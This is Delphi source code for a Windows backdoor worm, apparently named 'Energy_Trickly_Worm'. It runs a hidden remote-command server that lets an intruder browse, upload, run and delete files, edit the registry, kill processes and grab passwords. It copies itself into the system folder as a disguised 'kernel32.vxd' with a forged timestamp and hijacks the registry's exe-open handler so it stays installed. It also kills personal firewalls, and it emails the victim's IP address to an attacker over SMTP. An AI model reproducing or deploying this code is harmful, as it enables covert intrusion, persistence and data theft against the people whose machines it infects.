assignfile(t,windowsdir+'~tmp..dat'); rewrite(t); append(t); EnumWindows(@AddTopLevelWindowsToList,8); closefile(t); assignfile(t,windowsdir+'~tmp..dat'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(timeout); until pp=''; closefile(t); erase(t); end; procedure DoTimeout(wParam:longInt;Command:String); begin timeout:=strtoint(command); sock.WriteString(wParam, PChar('Timeout: '+command+#13+#10)); end; procedure TSock.OnServerRead(wParam,lParam:longInt); var Command:String; f:HFile; check:string; NumWrite:Integer; OfStr:TOFStruct; t1,t2,yy,taille:longint; Buffy:array[1..1024] of char; begin CountRB:=recv(wParam,Buffy,SizeOf(Buffy),0); if CountRB = 0 then exit; Command:=Copy(Buffy,Pos('/',Buffy)+1,Pos('HTTP',Buffy)-Pos('/',Buffy)-2); if command='' then exit; case command[1] of '0' : DoAbout(wParam); '1' : DoShowDirectory(wParam,copy(command,pos('?',command)+1,255)); '2' : DoStart(wParam); '3' : DoShowLog(wParam); '4' : DoExecFile(wParam,copy(command,pos('?',command)+1,255)); '5' : DoSendFile(wParam,copy(command,pos('?',command)+1,255)); '6' : DoDeleteFile(wParam,copy(command,pos('?',command)+1,255)); '7' : begin command:=copy(command,pos('?',command)+1,255); check:=copy(command,pos('|',command)+1,pos('&',command)-1); taille:=strtoint(check); delete(command,pos('|',command),length(command)); sock.WriteString(wParam, PChar('sendfil:'+#13+#10)); f:=OpenFile(PChar(Command),OFStr,OF_CREATE); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; yy:=0; t1:=round((taille+512)/1024); t2:=t1*1024; //nombre packet t1:=t2-taille; //end packet //t1:=taille-t2; repeat CountRB:=recv(wParam,Buffy,sizeof(Buffy),0); if countRB<>65535 then begin //writeln(taille); if taille<=1024 then begin WriteFile(f,Buffy,taille,NumWrite,nil); _lclose(f); exit; end; yy:=yy+countRB; //bug if yy=t2 then begin t1:=1024-abs(t1); //writeln(t1); WriteFile(f,Buffy,t1,NumWrite,nil); _lclose(f); exit; end else WriteFile(f,Buffy,countRB,NumWrite,nil); end; fillchar(buffy,sizeof(buffy),#0); until (yy>=taille) or (NumWrite = 0); _lclose(f); exit; //DoReceiveFile(wParam,copy(command,pos('?',command)+1,255)); end; '8' : DoRenameFile(wParam,copy(command,pos('?',command)+1,255)); '9' : DoCreateDirectory(wParam,copy(command,pos('?',command)+1,255)); 'A' : DoDeleteDirectory(wParam,copy(command,pos('?',command)+1,255)); 'B' : DoWriteReg(wParam,copy(command,pos('?',command)+1,255)); 'C' : DoReadReg(wParam,copy(command,pos('?',command)+1,255)); 'D' : DoProxy(wParam,copy(command,pos('?',command)+1,255)); 'E' : DoKillProcess(wParam,copy(command,pos('?',command)+1,255)); 'F' : DoWindowsProcess(wParam); 'G' : DoPassword(wParam); 'H' : DoTimeout(wParam,copy(command,pos('?',command)+1,255)); end; // closesocket(wParam); processmessages; end; //=== Process OnSocketMessage === procedure OnSocketMessage(Msg,wParam,lParam:longInt); begin if ( LOWORD(lParam) and FD_ACCEPT = FD_ACCEPT) then Sock.OnServerAccept(wParam,lParam); if ( LOWORD(lParam) and FD_CLOSE = FD_CLOSE) then sock.OnServerClose(wParam,lParam); if ( LOWORD(lParam) and FD_READ = FD_READ) then sock.OnServerRead(wParam,lParam); end; //=== OnInitSocket === //==TCP procedure InitSocket; begin WSAStartup($101,WSD); Port:=4662; Server := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= AF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); // listen; listen(Server,5); end; //==UDP {procedure InitSocket2; begin si:=SizeOf(integer); WSAStartup($101,WSD); Port:=136; Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= PF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); setsockopt(Server,SOL_SOCKET,SO_BROADCAST,@i,si); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); listen(Server,5); end;} //=====copyit function GetFileDateTimeModified(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var dt,tm: word; DateTime: integer; begin result := false; DateTime := FileAge(FileName); if DateTime = -1 then exit else result := true; tm := DateTime and $FFFF; {lower word} dt := DateTime shr 16; {upper word} h := tm shr 11; m := (tm shr 5) and $3F; s := (tm and $1F) * 2; dd := dt and $1F; mm := (dt shr 5) and $F; yyyy := (dt shr 9)+1980; end; function SetFileDateTime(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var SrchHdl: THandle; FileHdl: HFile; FindData: TWin32FindData; wDate,wTime: word; LocalFileTime, NewFileTime: TFileTime; begin result := false; SrchHdl := FindFirstFile(PChar(FileName), FindData); if SrchHdl <> INVALID_HANDLE_VALUE then begin Windows.FindClose(SrchHdl); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin wTime := (h shl 11) + (m shl 5) + (m div 2); wDate := (dd) + (mm shl 5)+ ((yyyy-1980) shl 9); DosDateTimeToFileTime(wDate,wTime,LocalFileTime); LocalFileTimeToFileTime(LocalFileTime, NewFileTime); FileHdl := _lopen(PChar(FileName), OF_WRITE); if FileHdl <> HFILE_ERROR then begin if SetFileTime(FileHdl,@NewFileTime,@NewFileTime,@NewFileTime) then result := true; _lclose(FileHdl); end; end; end; end; procedure copyit; var FromF, ToF: file; NumRead, NumWritten: Integer; Buf: array[1..2048] of Char; begin s:=paramstr(0); if s<>systemdir+crypt(']ifvkck;;$}ti') then begin filemode:=0; if fileexists(systemdir+crypt(']ifvkck;;$}ti')) then exit; //kernel32.vxd AssignFile(FromF,paramstr(0)); Reset(FromF, 1); { Record size = 1 } AssignFile(ToF, systemdir+crypt(']ifvkck;;$}ti')); //kernel32.vxd Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); CloseFile(FromF); CloseFile(ToF); GetFileDateTimeModified(windowsdir+crypt(']g{tiium{$nth'),yyyy,mm,dd,h,m,ss); //\explorer.exe SetFileDateTime(systemdir+crypt(']ifvkck;;$}ti'),yyyy,mm,dd,h,m,ss); //kernel32.vxd end; end; //===========Online??? const INVALID_IP_ADDRESS= $ffffffff; function ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; function lookup_hostname(const hostname:string):longint; var RemoteHost : PHostEnt; (* no, don't free it! *) ip_address: integer; s: string; begin ip_address:=INVALID_IP_ADDRESS; try if hostname='' then begin (* no host given! *) lookup_hostname:=ip_address; EXIT; end else begin s:=hostname+#0; ip_address:=Inet_Addr(PChar(@s[1])); // ip_address:=Winsock.Inet_Addr(PChar(hostname)); if ip_address=$FFFFFFFF then begin RemoteHost:=GetHostByName(PChar(@s[1])); // RemoteHost:=Winsock.GetHostByName(PChar(hostname)); if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then begin lookup_hostname:=ip_address; EXIT; (* host not found *) end else ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); end; end; except ip_address:=INVALID_IP_ADDRESS; end; lookup_hostname:=ip_address; end; //====== Connection Irc === type THede = class(TObject) procedure MyHwndProc(var Msg:TMessage); procedure agprun; function ip2string(ip_address:longint):string; end; const SocketMessag = WM_USER+107; var MySocket: TSocket; MyName : TSockAddr; MyAddr : TInAddr; Hede: THede; Buffer:array[0..1023] of char; res : word; WST : TWSAData; host: string; b:byte; function my_ip_address:longint; const bufsize=255; var buf: pointer; RemoteHost : PHostEnt; (* No, don't free it! *) begin buf:=NIL; try getmem(buf,bufsize); gethostname(buf,bufsize); (* this one maybe without domain *) RemoteHost:=GetHostByName(buf); if RemoteHost=NIL then my_ip_address:=htonl($7F000001) (* 127.0.0.1 *) else my_ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); finally if buf<>NIL then freemem(buf,bufsize); end; end; function THede.ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; procedure THede.MyHwndProc(var msg:TMessage); var check,s:string; begin FillChar(buffer,sizeof(buffer),#0); if msg.Msg = SocketMessag then begin if msg.LParamLo = FD_CLOSE then begin //writeln('end'); closesocket(mysocket); WSACleanup; exit; end; //if msg.LParamLo = FD_WRITE then writeln('[Socket Write]'); end; // sock.WriteString(MySocket,pchar(crypt('TQFV%')+copy(nukemsg2,1,7)+' "'+nukemsg2+'.com" "'+ip2string(my_ip_address)+'" :'+copy(nukemsg2,1,5)+#13+#10)); //USER end; procedure THede.agpRun; var zday,zmonth,s:string; myhwnd: Thandle; SystemTime:TSystemTime; z:longint; day,month:integer; begin host:='mail.hotmail.com'; z:=lookup_hostname(host); host:=ip2string(z); MySocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); MyAddr.S_addr:=Inet_Addr(@Host[1]); MyName.sin_family:=PF_INET; MyName.sin_port:=htons(25); //port to connect MyName.sin_addr:=MyAddr; // MyName.sin_port:=ntohs(strtoint(edit4.text)); //port on receive res:=connect(MySocket,MyName,sizeof(MyName)); if res<>0 then begin //S:='Connect Error : '+inttostr(WSAGetLastError); //writeln(s); closesocket(mysocket); WSACleanup; exit; end; myhwnd := AllocateHwnd(hede.MyHWndProc); WSAAsyncSelect(MySocket, myhwnd, SocketMessag, FD_WRITE OR FD_CLOSE ); res:=Recv(MySocket,Buffer,sizeof(buffer),0); sleep(2000); sock.WriteString(MySocket,pchar('HELO mail.hotmail.com'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('MAIL FROM: Energy@hotmail.com'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('RCPT TO: '+crypt('bmga}bf|hJccycny}<p{x')+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('DATA'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('From: Energy-Support@hotmail.com'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('To: '+crypt('bmga}bf|hJccycny}<p{x')+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('Subject: Failed delivery'+#13+#10)); sleep(1000); with systemtime do begin wYear:= wYear; wMonth:=wMonth; wDayOfWeek:= wDayOfWeek; wDay:=wDay; wHour:= wHour; wMinute:= wMinute; wSecond:= wSecond; wMilliseconds:= wMilliseconds; end; getsystemtime(SystemTime); day:=systemtime.wDayOfWeek; case day of 0: zday:='Sun'; 1: zday:='Mon'; 2: zday:='Tue'; 3: zday:='Wed'; 4: zday:='Thu'; 5: zday:='Fri'; 6: zday:='Sat'; end; month:=systemtime.wMonth; case month of 1: zmonth:='Jan'; 2: zmonth:='Feb'; 3: zmonth:='Mar'; 4: zmonth:='Apr'; 5: zmonth:='May'; 6: zmonth:='Jun'; 7: zmonth:='Jul'; 8: zmonth:='Aug'; 9: zmonth:='Sep'; 10: zmonth:='Oct'; 11: zmonth:='Nov'; 12: zmonth:='Dec'; end; sock.WriteString(MySocket,pchar('Date: '+zday+', '+inttostr(systemtime.wDay)+' '+zmonth+ ' '+inttostr(systemtime.wYear)+' '+inttostr(systemtime.wHour)+':'+inttostr(systemtime.wMinute)+':'+inttostr(systemtime.wSecond)+' +0000'+#13+#10)); //Date: Sat, 1 May 1999 20:46:00 +0000 sleep(1000); sock.WriteString(MySocket,pchar(''+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('Content-Type: ' + 'text/plain' + '; charset="' +'iso-8859-1' + '"'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('Content-Transfer-Encoding: quoted-printable'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar(''+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('Hi '+ip2string(my_ip_address)+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar(''+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('.'+#13+#10)); sleep(1000); sock.WriteString(MySocket,pchar('QUIT'+#13+#10)); closesocket(mysocket); WSACleanup; exit; while not ExitCode<>ExitCode2 do processmessages; end; //===fuck_protection procedure scanprotection; begin if findwindow(nil,@(crypt('OgwEuv@}hxo'))[1])<>0 then //NetAppGuard begin killprocess(crypt('OgwEuv@}hxo')); //NetAppGuard end; if findwindow(nil,@(crypt('BmmW`gk(YI+JD\JGP^_'))[1])<>0 then //ConSeal PC FIREWALL begin killprocess(crypt('BmmW`gk(YI+JD\JGP^_')); appmsg(pchar(crypt('HR#ekb''ijidycz/~pv4yyp|~;ss>lIFLBH DGD eABJWP^wZXd]XVzTLZ7 ./d3#5; %%b'))); end; end; //============Thread_procedure=== procedure ThreadProc3; stdcall; begin end; procedure ThreadProc2; stdcall; begin end; procedure ThreadProc; stdcall; var ck1,ck2,ck3:boolean; begin ck1:=false; ck2:=false; ck3:=false; //initsocket; repeat WSACleanup; WSAStartup($101,WSD); z:=lookup_hostname(crypt('vut*hodzfydjy l|')); //www.microsoft.com if z>0 then ck1:=true else ck1:=false; if (ck1=true) and (ck2=false) then begin ck2:=true; ck3:=true; WSACleanup; initsocket; sleep(2000); WSAStartup($101,WST); hede.agprun; end; if (ck1=false) and (ck3=true) then begin ck3:=false; ck2:=false; ShutDownServer; WSACleanup; //writeln('disconnect'); end; sleep(120000); until TerminateThread(ThreadHdle, ExitCode); ShutDownServer; end; //=== Process CreateWindow === procedure OnCreate(hWnd:Integer); begin // end; procedure OnClose(hWnd:Integer); begin ShellExecute(0,nil,PChar(paramstr(0)),nil,nil,SW_NORMAL); //=== re active it ShutDownServer; GetExitCodeThread(ThreadHdle, ExitCode); TerminateThread(ThreadHdle, ExitCode); //GetExitCodeThread(ThreadHdle2, ExitCode2); //TerminateThread(ThreadHdle2, ExitCode2); //GetExitCodeThread(ThreadHdle3, ExitCode3); //TerminateThread(ThreadHdle3, ExitCode3); klog.LogDestroy; end; //== Processes every message sent to MAIN window === function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; begin Result:= 0; case Msg of WM_CREATE : OnCreate(hWnd); WM_CLOSE : OnClose(hWnd); WM_MY_SOCK_MESSAGE : OnSocketMessage(Msg,wParam,lParam); WM_DESTROY : ShutDownServer; end; Result:=DefWindowProc(hWnd,Msg,wParam,lParam); end; function RenameFile(const OldName, NewName: string): Boolean; begin Result := MoveFile(PChar(OldName), PChar(NewName)); end; //=== This is the MAIN PART program ======= begin scanprotection; {sss:=paramstr(1); for iii:=length(sss) downto 1 do begin ccc:=sss[iii]; sss2:=sss2+ccc; if ccc='\' then break; end; if ((sss2=crypt('DZF*75DZ@GW')) or (sss2=crypt('DZF*FTNEU'))) then begin copyfile(pchar(sss),pchar(copy(sss,1,length(sss)-length(sss2))+'\mirc32.com'),true); winexec(PChar(copy(sss,1,length(sss)-length(sss2))+'\mirc32.com'),SW_NORMAL); halt; end;} if (length(paramstr(1))>0) and (length(paramstr(2))>0) and (length(paramstr(3))>0) then winexec(PChar(paramstr(1)+' '+paramstr(2)+' '+paramstr(3)),SW_NORMAL); if (length(paramstr(1))>0) and (length(paramstr(2))>0) and (length(paramstr(3))=0) then winexec(PChar(paramstr(1)+' '+paramstr(2)),SW_NORMAL); if (length(paramstr(1))>0) and (length(paramstr(2))=0) then winexec(PChar(paramstr(1)),SW_NORMAL); if FindWindow(lpzClassName,lpzWindowsName) <> 0 then begin Halt; end;//If start second time hInst:=GetModuleHandle(nil); with wClass do begin Style:= CS_PARENTDC; hIcon:= 0; cbClsExtra:= 0; cbWndExtra:= 0; lpfnWndProc:= @WindowProc; hInstance:= hInst; hbrBackground:= COLOR_WINDOW; lpszClassName:= lpzClassName; lpszMenuName:= NIL; hCursor:= 0; //LoadCursor(0,IDC_ARROW); end; RegisterClass(wClass); Handle:=CreateWindow(lpzClassName,lpzWindowsName,WS_BORDER + WS_SIZEBOX, 0,0,10,10,0,0{hPP},hInst,nil); if Handle<>0 then begin UpdateWindow(Handle); ShowWindow(Handle, SW_HIDE); //SW_HIDE RegisterInService; end; //ThreadHdle2 := CreateThread( Nil,0,@ThreadProc2,Nil,0,ThreadID2); //scan protection //ThreadHdle3 := CreateThread( Nil,0,@ThreadProc3,Nil,0,ThreadID3); //scan protection Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('exefile\shell\open\command',true); Registre.WriteString('',pchar(crypt('jgqj`j4:''|sh-,*!326>'))); //kernel32.vxd "%1" %* Registre.Free; copyit; Timeout:=70; ThreadHdle := CreateThread( Nil,0,@ThreadProc,Nil,0,ThreadID); //Online??? //repeat //sleep(2000); //until z>0; //if z>0 then klog.LogCreate; ProcessMessages; end. --[Energy_Trickly_Worm.dpr]--------------------------------------------------------------- program v; uses dialogs,Windows; {$R *.RES} const {winsock const} FD_SETSIZE = 64; IOCPARM_MASK = $7f; IOC_VOID = $20000000; IOC_OUT = $40000000; IOC_IN = $80000000; IOC_INOUT = (IOC_IN or IOC_OUT); FIONREAD = IOC_OUT or { get # bytes to read } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 127; FIONBIO = IOC_IN or { set/clear non-blocking i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 126; FIOASYNC = IOC_IN or { set/clear async i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 125; // Protocols } IPPROTO_IP = 0; { dummy for IP } IPPROTO_ICMP = 1; { control message protocol } IPPROTO_IGMP = 2; { group management protocol } IPPROTO_GGP = 3; { gateway^2 (deprecated) } IPPROTO_TCP = 6; { tcp } IPPROTO_PUP = 12; { pup } IPPROTO_UDP = 17; { user datagram protocol } IPPROTO_IDP = 22; { xns idp } IPPROTO_ND = 77; { UNOFFICIAL net disk proto } IPPROTO_RAW = 255; { raw IP packet } IPPROTO_MAX = 256; IPPORT_RESERVED = 1024; INADDR_ANY = $00000000; INADDR_LOOPBACK = $7F000001; INADDR_BROADCAST = $FFFFFFFF; INADDR_NONE = $FFFFFFFF; WSADESCRIPTION_LEN = 256; WSASYS_STATUS_LEN = 128; TF_DISCONNECT = $01; TF_REUSE_SOCKET = $02; TF_WRITE_BEHIND = $04; IP_OPTIONS = 1; IP_MULTICAST_IF = 2; { set/get IP multicast interface } IP_MULTICAST_TTL = 3; { set/get IP multicast timetolive } IP_MULTICAST_LOOP = 4; { set/get IP multicast loopback } IP_ADD_MEMBERSHIP = 5; { add an IP group membership } IP_DROP_MEMBERSHIP = 6; { drop an IP group membership } IP_TTL = 7; { set/get IP Time To Live } IP_TOS = 8; { set/get IP Type Of Service } IP_DONTFRAGMENT = 9; { set/get IP Don't Fragment flag } IP_DEFAULT_MULTICAST_TTL = 1; { normally limit m'casts to 1 hop } IP_DEFAULT_MULTICAST_LOOP = 1; { normally hear sends if a member } IP_MAX_MEMBERSHIPS = 20; { per socket; must fit in one mbuf } SOCK_STREAM = 1; { stream socket } SOCK_DGRAM = 2; { datagram socket } SOCK_RAW = 3; { raw-protocol interface } SOCK_RDM = 4; { reliably-delivered message } SOCK_SEQPACKET = 5; { sequenced packet stream } SO_DEBUG = $0001; { turn on debugging info recording } SO_ACCEPTCONN = $0002; { socket has had listen() } SO_REUSEADDR = $0004; { allow local address reuse } SO_KEEPALIVE = $0008; { keep connections alive } SO_DONTROUTE = $0010; { just use interface addresses } SO_BROADCAST = $0020; { permit sending of broadcast msgs } SO_USELOOPBACK = $0040; { bypass hardware when possible } SO_LINGER = $0080; { linger on close if data present } SO_OOBINLINE = $0100; { leave received OOB data in line } SO_DONTLINGER = $ff7f; SO_SNDBUF = $1001; { send buffer size } SO_RCVBUF = $1002; { receive buffer size } SO_SNDLOWAT = $1003; { send low-water mark } SO_RCVLOWAT = $1004; { receive low-water mark } SO_SNDTIMEO = $1005; { send timeout } SO_RCVTIMEO = $1006; { receive timeout } SO_ERROR = $1007; { get error status and clear } SO_TYPE = $1008; { get socket type } // SO_CONNDATA = $7000; // SO_CONNOPT = $7001; // SO_DISCDATA = $7002; // SO_DISCOPT = $7003; // SO_CONNDATALEN = $7004; // SO_CONNOPTLEN = $7005; // SO_DISCDATALEN = $7006; // SO_DISCOPTLEN = $7007; // SO_OPENTYPE = $7008; // SO_SYNCHRONOUS_ALERT = $10; // SO_SYNCHRONOUS_NONALERT = $20; // SO_MAXDG = $7009; // SO_MAXPATHDG = $700A; // SO_UPDATE_ACCEPT_CONTEXT = $700B; // SO_CONNECT_TIME = $700C; TCP_NODELAY = $0001; TCP_BSDURGENT = $7000; // AF_UNSPEC = 0; { unspecified } AF_UNIX = 1; { local to host (pipes, portals) } AF_INET = 2; { internetwork: UDP, TCP, etc. } // AF_IMPLINK = 3; { arpanet imp addresses } // AF_PUP = 4; { pup protocols: e.g. BSP } // AF_CHAOS = 5; { mit CHAOS protocols } // AF_IPX = 6; { IPX and SPX } // AF_NS = 6; { XEROX NS protocols } // AF_ISO = 7; { ISO protocols } // AF_OSI = AF_ISO; { OSI is ISO } // AF_ECMA = 8; { european computer manufacturers } // AF_DATAKIT = 9; { datakit protocols } // AF_CCITT = 10; { CCITT protocols, X.25 etc } // AF_SNA = 11; { IBM SNA } // AF_DECnet = 12; { DECnet } // AF_DLI = 13; { Direct data link interface } // AF_LAT = 14; { LAT } // AF_HYLINK = 15; { NSC Hyperchannel } // AF_APPLETALK = 16; { AppleTalk } // AF_NETBIOS = 17; { NetBios-style addresses } // AF_VOICEVIEW = 18; { VoiceView } // AF_FIREFOX = 19; { FireFox } // AF_UNKNOWN1 = 20; { Somebody is using this! } // AF_BAN = 21; { Banyan } // AF_MAX = 22; // PF_UNSPEC = AF_UNSPEC; PF_UNIX = AF_UNIX; PF_INET = AF_INET; // PF_IMPLINK = AF_IMPLINK; // PF_PUP = AF_PUP; // PF_CHAOS = AF_CHAOS; // PF_NS = AF_NS; // PF_IPX = AF_IPX; // PF_ISO = AF_ISO; // PF_OSI = AF_OSI; // PF_ECMA = AF_ECMA; // PF_DATAKIT = AF_DATAKIT; // PF_CCITT = AF_CCITT; // PF_SNA = AF_SNA; // PF_DECnet = AF_DECnet; // PF_DLI = AF_DLI; // PF_LAT = AF_LAT; // PF_HYLINK = AF_HYLINK; // PF_APPLETALK = AF_APPLETALK; // PF_VOICEVIEW = AF_VOICEVIEW; // PF_FIREFOX = AF_FIREFOX; // PF_UNKNOWN1 = AF_UNKNOWN1; // PF_BAN = AF_BAN; // PF_MAX = AF_MAX; SOL_SOCKET = $ffff; {options for socket level } SOMAXCONN = 5;{ Maximum queue length specifiable by listen. } MSG_OOB = $1; {process out-of-band data } MSG_PEEK = $2; {peek at incoming message } MSG_DONTROUTE = $4; {send without using routing tables } MSG_MAXIOVLEN = 16; MSG_PARTIAL = $8000; {partial send or recv for message xport } MAXGETHOSTSTRUCT = 1024; FD_READ = $01; FD_WRITE = $02; FD_OOB = $04; FD_ACCEPT = $08; FD_CONNECT = $10; FD_CLOSE = $20; WSABASEERR = 10000; WSAEINTR = (WSABASEERR+4); WSAEBADF = (WSABASEERR+9); WSAEACCES = (WSABASEERR+13); WSAEFAULT = (WSABASEERR+14); WSAEINVAL = (WSABASEERR+22); WSAEMFILE = (WSABASEERR+24); WSAEWOULDBLOCK = (WSABASEERR+35); WSAEINPROGRESS = (WSABASEERR+36); WSAEALREADY = (WSABASEERR+37); WSAENOTSOCK = (WSABASEERR+38); WSAEDESTADDRREQ = (WSABASEERR+39); WSAEMSGSIZE = (WSABASEERR+40); WSAEPROTOTYPE = (WSABASEERR+41); WSAENOPROTOOPT = (WSABASEERR+42); WSAEPROTONOSUPPORT = (WSABASEERR+43); WSAESOCKTNOSUPPORT = (WSABASEERR+44); WSAEOPNOTSUPP = (WSABASEERR+45); WSAEPFNOSUPPORT = (WSABASEERR+46); WSAEAFNOSUPPORT = (WSABASEERR+47); WSAEADDRINUSE = (WSABASEERR+48); WSAEADDRNOTAVAIL = (WSABASEERR+49); WSAENETDOWN = (WSABASEERR+50); WSAENETUNREACH = (WSABASEERR+51); WSAENETRESET = (WSABASEERR+52); WSAECONNABORTED = (WSABASEERR+53); WSAECONNRESET = (WSABASEERR+54); WSAENOBUFS = (WSABASEERR+55); WSAEISCONN = (WSABASEERR+56); WSAENOTCONN = (WSABASEERR+57); WSAESHUTDOWN = (WSABASEERR+58); WSAETOOMANYREFS = (WSABASEERR+59); WSAETIMEDOUT = (WSABASEERR+60); WSAECONNREFUSED = (WSABASEERR+61); WSAELOOP = (WSABASEERR+62); WSAENAMETOOLONG = (WSABASEERR+63); WSAEHOSTDOWN = (WSABASEERR+64); WSAEHOSTUNREACH = (WSABASEERR+65); WSAENOTEMPTY = (WSABASEERR+66); WSAEPROCLIM = (WSABASEERR+67); WSAEUSERS = (WSABASEERR+68); WSAEDQUOT = (WSABASEERR+69); WSAESTALE = (WSABASEERR+70); WSAEREMOTE = (WSABASEERR+71); WSAEDISCON = (WSABASEERR+101); WSASYSNOTREADY = (WSABASEERR+91); WSAVERNOTSUPPORTED = (WSABASEERR+92); WSANOTINITIALISED = (WSABASEERR+93); WSAHOST_NOT_FOUND = (WSABASEERR+1001); HOST_NOT_FOUND = WSAHOST_NOT_FOUND; WSATRY_AGAIN = (WSABASEERR+1002); TRY_AGAIN = WSATRY_AGAIN; WSANO_RECOVERY = (WSABASEERR+1003); NO_RECOVERY = WSANO_RECOVERY; WSANO_DATA = (WSABASEERR+1004); NO_DATA = WSANO_DATA; WSANO_ADDRESS = WSANO_DATA; NO_ADDRESS = WSANO_ADDRESS; EWOULDBLOCK = WSAEWOULDBLOCK; EINPROGRESS = WSAEINPROGRESS; EALREADY = WSAEALREADY; ENOTSOCK = WSAENOTSOCK; EDESTADDRREQ = WSAEDESTADDRREQ; EMSGSIZE = WSAEMSGSIZE; EPROTOTYPE = WSAEPROTOTYPE; ENOPROTOOPT = WSAENOPROTOOPT; EPROTONOSUPPORT = WSAEPROTONOSUPPORT; ESOCKTNOSUPPORT = WSAESOCKTNOSUPPORT; EOPNOTSUPP = WSAEOPNOTSUPP; EPFNOSUPPORT = WSAEPFNOSUPPORT; EAFNOSUPPORT = WSAEAFNOSUPPORT; EADDRINUSE = WSAEADDRINUSE; EADDRNOTAVAIL = WSAEADDRNOTAVAIL; ENETDOWN = WSAENETDOWN; ENETUNREACH = WSAENETUNREACH; ENETRESET = WSAENETRESET; ECONNABORTED = WSAECONNABORTED; ECONNRESET = WSAECONNRESET; ENOBUFS = WSAENOBUFS; EISCONN = WSAEISCONN; ENOTCONN = WSAENOTCONN; ESHUTDOWN = WSAESHUTDOWN; ETOOMANYREFS = WSAETOOMANYREFS; ETIMEDOUT = WSAETIMEDOUT; ECONNREFUSED = WSAECONNREFUSED; ELOOP = WSAELOOP; ENAMETOOLONG = WSAENAMETOOLONG; EHOSTDOWN = WSAEHOSTDOWN; EHOSTUNREACH = WSAEHOSTUNREACH; ENOTEMPTY = WSAENOTEMPTY; EPROCLIM = WSAEPROCLIM; EUSERS = WSAEUSERS; EDQUOT = WSAEDQUOT; ESTALE = WSAESTALE; EREMOTE = WSAEREMOTE; winsocket = 'vqlgn55&mfg'; //wsock32.dll {messages windows const} WM_NULL = $0000; WM_CREATE = $0001; WM_DESTROY = $0002; WM_MOVE = $0003; WM_SIZE = $0005; WM_ACTIVATE = $0006; WM_SETFOCUS = $0007; WM_KILLFOCUS = $0008; WM_ENABLE = $000A; WM_SETREDRAW = $000B; WM_SETTEXT = $000C; WM_GETTEXT = $000D; WM_GETTEXTLENGTH = $000E; WM_PAINT = $000F; WM_CLOSE = $0010; WM_QUERYENDSESSION = $0011; WM_QUIT = $0012; WM_QUERYOPEN = $0013; WM_ERASEBKGND = $0014; WM_SYSCOLORCHANGE = $0015; WM_ENDSESSION = $0016; WM_SYSTEMERROR = $0017; WM_SHOWWINDOW = $0018; WM_CTLCOLOR = $0019; WM_WININICHANGE = $001A; WM_SETTINGCHANGE = WM_WININICHANGE; WM_DEVMODECHANGE = $001B; WM_ACTIVATEAPP = $001C; WM_FONTCHANGE = $001D; WM_TIMECHANGE = $001E; WM_CANCELMODE = $001F; WM_SETCURSOR = $0020; WM_MOUSEACTIVATE = $0021; WM_CHILDACTIVATE = $0022; WM_QUEUESYNC = $0023; WM_GETMINMAXINFO = $0024; WM_PAINTICON = $0026; WM_ICONERASEBKGND = $0027; WM_NEXTDLGCTL = $0028; WM_SPOOLERSTATUS = $002A; WM_DRAWITEM = $002B; WM_MEASUREITEM = $002C; WM_DELETEITEM = $002D; WM_VKEYTOITEM = $002E; WM_CHARTOITEM = $002F; WM_SETFONT = $0030; WM_GETFONT = $0031; WM_QUERYDRAGICON = $0037; WM_COMPAREITEM = $0039; WM_COMPACTING = $0041; WM_COMMNOTIFY = $0044; { obsolete in Win32} WM_WINDOWPOSCHANGING = $0046; WM_WINDOWPOSCHANGED = $0047; WM_POWER = $0048; WM_COPYDATA = $004A; WM_CANCELJOURNAL = $004B; WM_NOTIFY = $004E; 